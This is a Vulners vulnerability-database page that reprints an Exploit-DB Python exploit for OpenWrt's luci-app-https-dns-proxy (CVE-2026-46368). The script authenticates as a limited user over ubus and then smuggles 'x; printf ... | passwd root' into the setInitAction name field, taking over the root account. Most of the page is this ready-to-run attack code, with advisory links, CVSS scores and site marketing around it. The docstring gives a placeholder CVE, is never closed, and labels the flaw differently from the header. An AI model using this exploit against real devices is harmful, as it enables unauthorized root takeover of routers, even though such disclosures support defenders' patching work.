Lucene search
+L

OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)

🗓️ 29 Apr 2026 00:00:00Reported by Ahmet MersinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 135 Views

Authenticated remote code execution exploit against OpenWrt luci-app-https-dns-proxy prior to 2026-01-17.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-46368
26 May 202614:08
attackerkb
circl
Circl
CVE-2026-46368
26 May 202616:02
circl
cnnvd
CNNVD
luci-app-https-dns-proxy 命令注入漏洞
26 May 202600:00
cnnvd
cve
CVE
CVE-2026-46368
26 May 202614:08
cve
cvelist
Cvelist
CVE-2026-46368 luci-app-https-dns-proxy Authenticated Command Injection via setInitAction
26 May 202614:08
cvelist
euvd
EUVD
EUVD-2026-31836
26 May 202614:08
euvd
nvd
NVD
CVE-2026-46368
26 May 202615:16
nvd
ptsecurity
Positive Technologies
PT-2026-43259
26 May 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2026-46368 luci-app-https-dns-proxy Authenticated Command Injection via setInitAction
26 May 202614:08
vulnrichment
# Exploit Title: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)
# Date: 2026-01-17
# Exploit Author: Ahmet Mersin
# Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy
# Software Link: https://github.com/stangri/luci-app-https-dns-proxy
# Version: All versions prior to 2026-01-17
# Tested on: OpenWrt 23.05
# CVE : Pending

"""
OpenWrt luci-app-https-dns-proxy Root Takeover Exploit
CVE-202X-XXXXX - Local Privilege Escalation via Command Injection


import requests
import sys
import getpass

def banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║   OpenWrt https-dns-proxy Root Takeover Exploit               ║
║   CVE-202X-XXXXX | Privilege Escalation via Command Injection ║
║                                                               ║
║   Developed by: ahmetmersin.com                               ║
╚═══════════════════════════════════════════════════════════════╝
    """)

def get_user_input():
    print("[*] Target Router Information:")
    target_ip = input("    Router IP [192.168.1.1]: ").strip() or "192.168.1.1"

    print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):")
    username = input("    Username: ").strip()
    if not username:
        print("[-] Username cannot be empty!")
        sys.exit(1)
    password = getpass.getpass("    Password: ")
    if not password:
        print("[-] Password cannot be empty!")
        sys.exit(1)

    print("\n[*] New Root Password:")
    new_root_pass = getpass.getpass("    Enter new root password: ")
    if not new_root_pass:
        print("[-] Password cannot be empty!")
        sys.exit(1)

    confirm_pass = getpass.getpass("    Confirm new root password: ")

    if new_root_pass != confirm_pass:
        print("\n[-] Passwords do not match!")
        sys.exit(1)

    return target_ip, username, password, new_root_pass

def login(target_ip, username, password):
    print(f"\n[*] Authenticating as '{username}'...")
    endpoint = f"http://{target_ip}/ubus"

    payload = {
        "jsonrpc": "2.0", "id": 1, "method": "call",
        "params": [
            "00000000000000000000000000000000",
            "session", "login",
            {"username": username, "password": password}
        ]
    }

    try:
        r = requests.post(endpoint, json=payload, timeout=10)
        response = r.json()

        if "result" in response and response["result"] and len(response["result"]) > 1:
            result = response["result"][1]
            if "ubus_rpc_session" in result:
                token = result["ubus_rpc_session"]
                print(f"[+] Login successful! Session token: {token[:16]}...")

                # Check if user has the vulnerable permission
                acls = result.get("acls", {}).get("ubus", {})
                if "luci.https-dns-proxy" in acls:
                    if "setInitAction" in acls["luci.https-dns-proxy"]:
                        print(f"[+] User has access to vulnerable function!")
                        return token, endpoint

                print("[-] User does not have 'setInitAction' permission!")
                return None, None

        print(f"[-] Login failed: {response}")
        return None, None

    except requests.exceptions.ConnectionError:
        print(f"[-] Connection error: Cannot reach {target_ip}")
        return None, None
    except Exception as e:
        print(f"[-] Error: {e}")
        return None, None

def change_root_password(endpoint, session_id, new_password):
    print(f"\n[*] Changing root password...")

    # Payload: Use passwd with printf to change root password
    malicious_name = f"x; printf '{new_password}\\n{new_password}\\n' | passwd root; echo done >"

    payload = {
        "jsonrpc": "2.0", "id": 666, "method": "call",
        "params": [
            session_id,
            "luci.https-dns-proxy",
            "setInitAction",
            {"name": malicious_name, "action": "start"}
        ]
    }

    try:
        r = requests.post(endpoint, json=payload, timeout=10)
        response = r.json()

        print(f"[*] Response: {response}")

        # Check if result is True (command executed successfully)
        if "result" in response and len(response["result"]) > 1:
            result_data = response["result"][1]
            if isinstance(result_data, dict) and result_data.get("result") == True:
                print(f"\n" + "="*60)
                print(f"[+] EXPLOIT SUCCESSFUL!")
                print(f"="*60)
                ip = endpoint.split('//')[1].split('/')[0]
                print(f"\n[*] You can now login with the new root password:")
                print(f"    ssh root@{ip}")
                print(f"    Password: <your new password>")
                return True
            else:
                print(f"\n" + "="*60)
                print(f"[-] EXPLOIT FAILED - Command was blocked!")
                print(f"="*60)
                print(f"\n[!] The target may have been patched.")
                return False
        else:
            print(f"[-] Unexpected response format")
            return False

    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def main():
    banner()

    print("[!] WARNING: This tool is for authorized security testing only!")
    print("[!] Unauthorized access to computer systems is illegal.\n")

    confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower()
    if confirm != 'y':
        print("Aborted.")
        sys.exit(0)

    target_ip, username, password, new_root_pass = get_user_input()

    session_id, endpoint = login(target_ip, username, password)

    if session_id:
        success = change_root_password(endpoint, session_id, new_root_pass)
        if success:
            print("\n[+] Exploit completed! Test SSH access with the new password.")
    else:
        print("\n[-] Authentication failed. Exploit aborted.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 48.7
CVSS 3.18.8
EPSS0.06582
SSVC
135